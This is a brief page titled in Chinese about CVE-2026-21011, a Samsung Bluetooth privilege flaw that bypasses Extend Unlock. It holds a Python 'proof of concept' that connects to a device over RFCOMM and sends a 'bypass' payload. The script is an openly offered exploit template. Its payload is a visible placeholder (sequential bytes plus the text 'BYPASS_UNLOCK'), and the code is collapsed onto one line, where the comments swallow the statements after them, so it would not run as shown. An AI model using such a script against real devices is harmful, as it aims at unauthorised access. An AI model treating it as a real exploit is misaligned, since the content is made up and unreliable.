CVE-2026-21011：三星蓝牙权限分配不当绕过Extend Unlock

import bluetooth # Proof of Concept for CVE-2026-21011 # This script simulates the interaction required to exploit the privilege escalation # in Maintenance Mode via Bluetooth. TARGET_MAC = "00:11:22:33:44:55" # Example MAC address PORT = 1 # RFCOMM port def exploit_bluetooth_privilege_escalation(): try: # Attempt to connect to the target device's Bluetooth interface sock = bluetooth.BluetoothSocket(bluetooth.RFCOMM) sock.connect((TARGET_MAC, PORT)) print("[+] Connected to target device in Maintenance Mode.") # Send malformed packet to trigger incorrect privilege assignment # This payload is designed to bypass Extend Unlock checks payload = b"\x01\x02\x03\x04\x05BYPASS_UNLOCK" sock.send(payload) print("[+] Payload sent. Attempting to bypass Extend Unlock...") # Wait for response or execute further commands response = sock.recv(1024) if response: print(f"[+] Response received: {response}") else: print("[-] No response received, exploit may have failed or device patched.") sock.close() except Exception as e: print(f"[-] Error during exploitation: {e}") if __name__ == "__main__": exploit_bluetooth_privilege_escalation()